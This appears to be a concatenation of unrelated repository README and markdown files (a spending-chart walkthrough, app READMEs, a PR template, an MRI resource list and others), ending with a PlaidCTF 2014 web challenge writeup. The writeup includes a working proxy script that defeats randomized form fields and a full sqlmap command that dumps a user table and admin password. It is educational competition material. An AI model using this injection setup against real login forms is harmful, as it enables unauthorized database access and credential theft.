monthly_bar = extract_monthly_spending(data, BAR)
monthly_misc = extract_monthly_spending(data, MISC)

monthly_spending = [monthly_groceries, monthly_transport, monthly_restaurant,
                    monthly_coffee, monthly_bar, monthly_misc]
```
### Rendering
Each graph, plot or pie chart use the same color code. So that you can visually easily compare different kind of graphs as each category will have a consistent color.
```python
colours = ['#5DADE2',  # blue
           '#F5B041',  # orange
           '#58D68D',  # green
           '#EC7063',  # red
           '#BB8FCE',  # purple
           '#808B96',  # grey
           '#F7DC6F']  # yellow
```
The library used for rendering those graphs is matplotlib
```python
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
```
#### Bar chart per category per month
![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/all_bar_chart.png)
It's been decided, for easy reading purposes, that the rendering would disply only rows of 3 graph per row. As it seems that on a page document, adding more than 3 graph on the same line would reduce readibility drastically.
The snippet of code below shows how the bar chart will be displayed.
* X axis: date (scale: 1 month)
* Y axis: $ spent
* color: 1 color per category
* width: bit of a dark magic trick here found on a forum. Since the width has to be a number between 0 and 1 but is based on the X axis scale. Which is in our case, 1 month in a datetime format.
```python
for el in _df_list:
    bar = ax[i].bar(el.index.values,
                    el['amount'],
                    color=colours[i],
                    label='monthly',
                    width=150 * (1 / el.shape[0]))
 ```
 Each graph displays an horizontal red line representing the average spending per month for that category over all time spending. In blue, is displayed the average over the last 6 months. This allows to get an idea if we happened to spend more than usual on a specific month. The average is computed by:
 * Ommiting the current month. Since it's highly likely that there will be more expenses happening. Therefore the value might throw the computation off
 * Omitting the extremums. The maximum and minum spending ever recorded are not representative of the average and sometimes can tottaly give a false impression.
 * Omitting all $0 months as they are most likely due to a lack of data and not an extrem show of self restraint.
 * When computing the average over the last 6 months, first, we get rid of all expenses older than 6 months then, we remove the min and max spending months

 The `compute_average()` method allows an optional parametter *period_months* defaulted to 0. Any positive value represent how far back (in months) should we go to compute the average spending.
 ```python
 if period_months > 0:
      from_date = today - pd.DateOffset(months=int(period_months))
      _df = _df.drop(_df[_df.index < pd.to_datetime(from_date)].index)

_df = _df.drop(_df[_df.amount == _df.amount.max()].index)
_df = _df.drop(_df[_df.amount == _df.amount.min()].index)
_df = _df.drop(_df[(_df.index.month == today.month) & (_df.index.year == today.year)].index)
_df = _df.drop(_df[_df.amount == 0].index)

return _df.min(), _df.max(), _df.mean()
```
![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/compute_average.png)

After computing the average we display the horizontal line with:
```python
ax[i].axhline(y=int(avg.amount),
              color="red",
              linewidth=0.5,
              label='avg',
              linestyle='--')

ax[i].axhline(y=int(avg6.amount),
              color="blue",
              linewidth=0.5,
              label='avg 6 months',
              linestyle='--')
```

![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/groceries_bar_chart.png)

And we write it's value on the Y axis for easier readibility
```python
ax[i].annotate('{}'.format(int(avg.amount)),
               xy=(monthly_coffee.index[0], int(avg.amount)),
               xytext=(-10, 1),  # 3 points vertical offset
               textcoords="offset points",
               ha='right',
               va='bottom',
               color='red')
```
![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/display_avg.png)

For readability purposes each graph displays on top of each bar(*rects*) the value it's plotting. Since we can get a lot of data, this option was the more readable one.
* _height_: represent the amounts spent each month
* _rects_: represent the bars ploted for each month
```python
def autolabel(rects, ax, height):
  for index, rect in enumerate(rects):
      ax.annotate('{}'.format(int(height[index])),
                  xy=(rect.get_x() + rect.get_width() / 2, height[index]),
                  xytext=(0, 1),  # 1 points vertical offset
                  textcoords="offset points",
                  ha='center',
                  va='bottom')
```
![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/bar_values.png)

#### Stacked bar chart of all categories per month
The stacked chart shows the same information as the 6 bar charts from the previous section. However, by stacking all spending of all categories of the same month together, we can extrapolate the overtime spending tendency.
![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/stacked_bar_chart.png)
The logic here is to simply execute the same as for the single category bar char per graph (see above). But, in this case, instead of starting to plot on another graph when displaying the new category, we use the same figure and offset the bottom by the value ploted previously for the previous category.
```python
bottom_value = 0
    for index, el in enumerate(_df_list):
        bar = ax.bar(el.index.values,
                     el['amount'],
                     color=colours[index],
                     label=el.name,
                     bottom=bottom_value,
                     width=150 * (1 / el.shape[0]))
        bottom_value += _df_list[index]['amount']
 ```
#### Pie chart of average spending per category
![Bar charts](https://github.com/malcolmdimeglio/banking/blob/master/img/pie_chart.png)
This chart allows to see the proportion each category has compared to the overall spending.
The dev logic behind this pie chart is exactly the same as the previous chart explained above, except the
```python
_, _, autotexts = ax.pie(_df['amount'], labels=_df['name'],
                         explode=explodes,
                         autopct='%1.1f%%',
                         shadow=False,
                         frame=False,
                         startangle=90,
                         colors=colours,
                         textprops={'fontsize': 'xx-large'},
                         wedgeprops={'linewidth': 1, 'edgecolor': "black"})
```
The explode argument we can see above recieves a list of float as parameter. The list must be as long as the number of category polted in the pie chart.
The float value represents how much the correspondig pie piece is being "exploded" or pulled out of the pie.
0.2 has been arbitrarily selected after a few visual tests.
```python
explodes = [0.0] * len(_df)
explodes[0] = 0.2
```

repository: malcolmdimeglio/banking

repo_name: malcolmdimeglio/banking


text:
# Readable App
> Simple commenting App built with React and Redux.

## Installing / Getting started

Run the following command to get up and running:

```shell
npm install && npm start
```

The above command will install all dependencies and open the project in development mode, in you default browser, on port 3000.

You will need to add the development server from [here](https://github.com/udacity/reactnd-project-readable-starter), for the project to work properly. It should be running on `localhost:3001`.

## Developing

### Built With
React
Redux

### Prerequisites
Node.js >= v8
npm >= v5
[Development Server](https://github.com/udacity/reactnd-project-readable-starter)

### Building

To create a build version use the following command:

```shell
npm build
```

## Style guide

This project uses [prettier](https://prettier.io/) for consistent code style.

## Licensing

[MIT](./LICENSE)

repository: trolster/Readable

repo_name: trolster/Readable


text:
Issue Number (if Applicable): Fixes #

# Description

Please include a summary of the changes and which issue is fixed / feature is added.

# Pull Request - Checklist

- [ ] Initial Manual Tests Passed
- [ ] Double check modified code and verify it with the feature/task requirements
- [ ] Format code
- [ ] Look for code duplication
- [ ] Clear naming for variables and methods

branch_name: refs/heads/main

gha_language: Dart


text:
So far, these include:

- Monitoring the number of updates for individual objects per day to get an idea of the number of CDC events that would be generated if you turned on CDC for those objects.

For details on using this code, see https://salesforce.quip.com/bK9bAV7N1M4s

## Development

To work on this project in a scratch org:

1. [Set up CumulusCI](https://cumulusci.readthedocs.io/en/latest/tutorial.html)
2. Run `cci flow run dev_org --org dev` to deploy this project.
3. Run `./scripts/fake-data.sh` to generate a set of records so that the update monitoring will have something to count
4. Run `cci org browser dev` to open the org in your browser.
5. Open the **Platform Event Utils** app.

repository: SFDC-Assets/rc-platform-event-utils

repo_name: SFDC-Assets/rc-platform-event-utils


text:
# Running the code
## Installing Jupyter Notebook
In order to run the code, hou have to Install Jupyter notebook. Using Anaconda every library will be included from install. Make sure to use the python 3.7 version.
Anaconda can be downloaded [here](https://www.anaconda.com/distribution/) Installation help can be found [here](https://docs.anaconda.com/anaconda/install/)

## Running the code
Now you have installed Jupyter notebook you can start the service from the command line using the command: ```jupyter notebook```. Open the .ipynb file and run cell after cell in a sequential order. Enjoy!


text:
---
layout: post
image: img/writing.jpg
author: [Helmut]
tags:
  - Migration
exc: Work In Progress Migration
title: "Removiing a Movie Clip on Stage with AS"
date: "2005-05-14"
categories:
  - "actionscript"
  - "programming"
---

\[as\]//A square with id = square //A simple button named mca that removes the attached MCs

this.attachMovie("square", "square1",1); this.attachMovie("square", "square2",2);

square2.\_x =100;

mca.onRelease = function() { square1.removeMovieClip(); square2.removeMovieClip(); }\[/as\]

repository: helmutgranda/nextjs-helmutgranda

repo_name: helmutgranda/nextjs-helmutgranda


text:
# performancecopilot.metrics.repository

Installs and configures the upstream package repositories - currently hosted at [jFrog Artifactory](https://performancecopilot.jfrog.io/ui/builds) - to get the very latest [Performance Co-Pilot](https://pcp.io/) toolkit releases.

## Requirements

None.

## Role Variables

None.

## Dependencies

None.

## Example Playbooks

Ensure latest upstream PCP packages are available for installation.

```yaml
- hosts: monitoring
  roles:
    - role: performancecopilot.metrics.repository
```

## License

MIT

## Author Information

An official role for PCP, maintained by the PCP developers<EMAIL_ADDRESS>

repository: linux-system-roles/metrics

repo_name: linux-system-roles/metrics


text:
---
layout: default
title: OpenHack - Columbus, OH
---

## Columbus

![Neo Columbus](/columbus/office_summer.jpg)

### Info

[Neo](http://www.neo.com) hosts an OpenHack night every other
week in our Columbus office.  We welcome all skill levels and development
platforms.  Come to get help on a problem, mentor a junior dev, or just hack.

We supply the pizza. Please bring a beverage to share if you're the beverage
type.

### Next meetup

Our hack nights are every other week on Thursdays, from 6:30pm to 9pm. Check our
[Twitter](http://twitter.com/neo_cbus) account to register.

extension: markdown

gha_language: CSS


text:
---
layout: page
title: MRI
excerpt: "Resources for MRI"
comments: false
---

# Educational Resources for MRI

## On the web
[  MRIQuestions.com](http://mriquestions.com/index.html) A great resource for all your basic MRI knowledge.

[  Oraganisation for Human Brain Mapping (OHBM)](http://www.humanbrainmapping.org/i4a/pages/index.cfm?pageid=1) There are tons of great free resources from previous meetings available for free at the OHBM website. Many full length talks recorded from meetings and workshops.

[  Common MRI Sequence Acronyms](https://www.imaios.com/en/e-Courses/e-MRI/MRI-Sequences/Sequences-acronyms) For all those occasions when you can't remeber the difference FISP, FLASH and FFE.

[  Comprehensive MRI Glossary](http://www.acr.org/~/media/ACR/Documents/PDF/QualitySafety/Resources/GlossaryOfMRTerms.pdf)

[  The Nifti Data Format](http://nifti.nimh.nih.gov/dfwg/) At one point or another you will get lost in the nifti djungle. When that happens, it is good to go back to the main source.

## Books

[  Magnetic Resonance Imaging: Physical Principles and Sequence Design, Second Edition](http://onlinelibrary.wiley.com/book/10.1002/9781118633953) This book isn't called the 'Green Bible' for nothing. A comprehensive guide to the basics and complex techniques and physics of MRI. A must for every MRI physicist, especially the new second edition (released in 2014) which includes new chapters on for instance parallel imaging.

[  Handbook of MRI Pulse Sequences](http://www.sciencedirect.com/science/book/9780120928613) While Haacke's Green Bible will have you covered on the fundamental principles behind MRI, this book will take you further into the nitty-gritty of all the most common pulse sequences. As the book is written by a GE person, abbreviations are typical to those of the GE scanner so have a look at the list of sequence acronyms above if you need to translate to Philips or Siemens scanners.

repository: emilljungberg/emilljungberg

branch_name: HEAD

repo_name: emilljungberg/emilljungberg


text:
# scrape-feed

[![npm version](https://img.shields.io/npm/v/scrape-feed.svg)](https://npm.im/scrape-feed)
[![CircleCI](https://img.shields.io/circleci/project/github/mjm/scrape-feed/master.svg)](https://circleci.com/gh/mjm/scrape-feed)
![ISC License](https://img.shields.io/npm/l/scrape-feed.svg)

Reads the contents of JSON, RSS, and Atom feeds from a URL.

## Installation

```
npm install scrape-feed
```

## Usage

### Simple use

```javascript
const { scrapeFeed } = require("scrape-feed")

const feed = await scrapeFeed("https://www.mattmoriarity.com/feed.json")
```

`feed` will have information pulled from the feed. See `ScrapedFeed` in `src/index.ts` for the structure of `feed` here.

`scrape-feed` supports JSON Feed as well as Atom and RSS through [feedparser](https://www.npmjs.com/package/feedparser). All feed types produce the same structure, so it's a bit lossy in that way: not all feed information is captured.

### Using caching headers

If you are polling feeds regularly and would like to avoid extra work, you can hang on to `feed.cachingHeaders` and provide it again when you next poll the feed. The caching headers include the `Etag` and `Last-Modified` response headers if the response included them. If they are provided when scraping, they will be used to set the `If-None-Match` and `If-Modified-Since` request headers, respectively.

A well-behaved server, when given these headers, will return a 304 Not Modified response with no body as long as the content hasn't changed, in which case `scrapeFeed` will just return null. If you get a null, you can go along your merry way and be happy you didn't waste that bandwidth and those CPU cycles.

```javascript
const { cachingHeaders } = feed
const feedAgain = await scrapeFeed(
  "https://www.mattmoriarity.com/feed.json",
  cachingHeaders
)
// => null
```

license: ISC

repository: mjm/scrape-feed

gha_language: TypeScript

repo_name: mjm/scrape-feed


text:
---
id: sample-data
title: Changing the Sample Data
sidebar_label: Populate Data
---

When you run the app for the first time, it runs the `setup/populate.js` script to populate sample data for users, spaces, and memberships into your PubNub keys.
You can make changes to the sample data by editing the `setup/team-chat-initialization-data.json` file.
To update the data on the server, re-run the populate script with a new PubNub keyset.


text:
# Global styles using SCSS

We tried to follow a custom implementation of the [7-1 pattern](https://sass-guidelin.es/#the-7-1-pattern), also oriented to a utility-first CSS approach but without depending on 3rd party solutions.

repository: graficos/g-slim-carousel

repo_name: graficos/g-slim-carousel


text:
---
layout: post
title: "PlaidCTF 2014 Writeups"
description: ""
category: writeups
tags:
- plaidctf2014
- 2014
- plaidctf
- pctf
---

### Web 100 - PolygonShifter

We're presented with a "bot-unfriendly" example login page. The names of the username and password fields in the source are generated with each page, along with the action path:

    <form action="/kd0Opm3615utl3YSLs0g" method="POST">
        Username
        <input type="text" id="0YkfgNs8LGlEO9F9NwhM" name="8V7Qt7KtSJL3OW9zpwPj">
        Password
        <input type="password" id="I48lIt3mdAdDB0ErbYx3" name="kzDhvllIYyqf3uHH6lZN">
        <input class="primary large" type="submit" value="Login">
    </form>

We also receive a cookie `session`:

    .eJxdzU0LgjAAgOG_Ejt3UFcXoYvorGDJdJbtEnMuMj9xhjLpvxddyu7vwzsBLvq8qS
    _XXJYZsCewSIENuEUGCp0e6_N4SI5G6h5YbIwa-2IDnkvQcqWGpsv-GWw9vmUq9UomE
    1RheNxFLlOnYjVn-ddElKzevYEtsyCn0CN3B4lqz6SLP-ahZFfzSv6tAnSGcUJgBEMa
    FYOmpljL2oGx38zZzwqjsmNVFgh9w6E1IqpLP4jXkHvG2zxfx2xWgw.BiyFoA.MVsPd
    sBLjDQAqPoi9JQyAHAzQsQ

This is the form of a signed, timestamped data cookie. The period at the beginning of the string indicates that the cookie is zlib-compressed, `BiyFoA` is the representation of the timestamp, and `MVsPdsBLjDQAqPoi9JQyAHAzQsQ` is the signature of the cookie.

We can dissect cookies in Python:

    >>> session = '.eJxdzU0LgjAAgOG_Ejt3UFcXoYvorGDJdJbtEnMuMj9xhjLpvxd
    dyu7vwzsBLvq8qS_XXJYZsCewSIENuEUGCp0e6_N4SI5G6h5YbIwa-2IDnkvQcqWGps
    v-GWw9vmUq9UomE1RheNxFLlOnYjVn-ddElKzevYEtsyCn0CN3B4lqz6SLP-ahZFfzS
    v6tAnSGcUJgBEMaFYOmpljL2oGx38zZzwqjsmNVFgh9w6E1IqpLP4jXkHvG2zxfx2xW
    gw.BiyFoA.MVsPdsBLjDQAqPoi9JQyAHAzQsQ'
    >>> session = session.split('.')[1]
    >>> len(session)
    254
    >>> session += '='*(-len(session)%4) # add padding
    >>> import base64, zlib
    >>> zlib.decompress(base64.urlsafe_b64decode(session))
    '{"action_field":{" b":"a2QwT3BtMzYxNXV0bDNZU0xzMGc="},
      "password_field":{" b":"a3pEaHZsbElZeXFmM3VISDZsWk4="},
      "password_id":{" b":"STQ4bEl0M21kQWREQjBFcmJZeDM="},
      "username_field":{" b":"OFY3UXQ3S3RTSkwzT1c5enB3UGo="},
      "username_id":{" b":"MFlrZmdOczhMR2xFTzlGOU53aE0="}}'

`password_field` and `username_field` are the base64-encoded field names on the example login page.

Some attempts revealed that the username and password fields were vulnerable to SQL injection; we were able to achieve errors, and log in as `test` even when providing a username of `admin`. sqlmap would be the tool to use, except the form submission path, username field name, and password field name, are randomized and then stored in a signed cookie. Each request must be submitted to a different path with random parameter names, and sqlmap is not suited to doing this.

So, we used libmproxy to build a proxy to rewrite outgoing requests, and direct sqlmap to pass requests through it:

    from libmproxy import controller, proxy, flow
    import os
    import base64
    import zlib
    import json
    class StickyMaster(controller.Master):
        def __init__(self, server):
            controller.Master.__init__(self, server)
            self.cookies=[]
        def run(self):
            try:
                return controller.Master.run(self)
            except KeyboardInterrupt:
                self.shutdown()

        def handle_request(self, msg):
            hid = (msg.host, msg.port)
            msg.headers["Cookie"] = ['; '.join(self.cookies)]
            msg.headers['User-Agent'] = ['Mozilla/5.0 (X11; Linux x86_64) \
                AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152\
                Safari/537.36']
            if msg.path == '/ACTIONPLS':
                msg.path = '/'+base64.b64decode(self.fields['action_field'][' b'])
                print "Changing path to", msg.path
                params = msg.get_form_urlencoded()
                u_param = [params['username'][0]]
                p_param = [params['password'][0]]
                print "incoming parameters: ",u_param, p_param
                newparams = flow.ODict()
                newparams[base64.b64decode(self.fields['username_field'][' b'])] = u_param
                newparams[base64.b64decode(self.fields['password_field'][' b'])] = p_param
                print "Changed params to:"
                print newparams
                msg.set_form_urlencoded(newparams)
            msg.reply()

        def handle_response(self, msg):
            hid = (msg.request.host, msg.request.port)
            print "response", hid
            if msg.headers["set-cookie"]:
                print msg.headers["set-cookie"]
                self.cookies = [x.split(';')[0] for x in msg.headers["set-cookie"] if 'delete' not in x]
                self.scookie = self.cookies[0].split('=')[1]
                self.fields = self.scookie.split('.')[1]
                self.fields+=('='*(-len(self.fields)%4))
                self.fields = json.loads(zlib.decompress(base64.urlsafe_b64decode(self.fields)))
                print self.fields
            msg.reply()

    config = proxy.ProxyConfig()
    server = proxy.ProxyServer(config, 7222)
    m = StickyMaster(server)
    m.run()

The proxy will rewrite `username` and `password` using the field names from the most recent signed cookie, and change the request path similarly. Then, we can use sqlmap to inject on fields named `username` and `password` using the URL `/ACTIONPLS`. The final step is to ensure that each outgoing request has a fresh signed cookie. We use the `--eval` sqlmap flag to send a request to `/example` before each injection attempt, also through the proxy. The final sqlmap command we used is:

    sqlmap -u "http://<IP_ADDRESS>/ACTIONPLS" --data="username=test&password=test"\
     --proxy="http://<IP_ADDRESS>:7222"\
     --eval="import urllib,time; urllib.urlopen('http://<IP_ADDRESS>/example',\
    proxies={'http':'http://<IP_ADDRESS>:7222'});"\
     -s /tmp/sqlmapoutputEVk5JE/<IP_ADDRESS>/session.sqlite\
     --exclude-sysdbs -T polygon_user --threads=8 --dump -D polygon_db

The output:

    Database: polygon_db
    Table: polygon_user
    [2 entries]
    +----+----------+--------------------------------+
    | id | username | password                       |
    +----+----------+--------------------------------+
    | 1  | test     | test                           |
    | 2  | admin    | n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm |
    +----+----------+--------------------------------+

Logging in as admin with that password displays `my password is the flag`, which it is!

gha_language: Ruby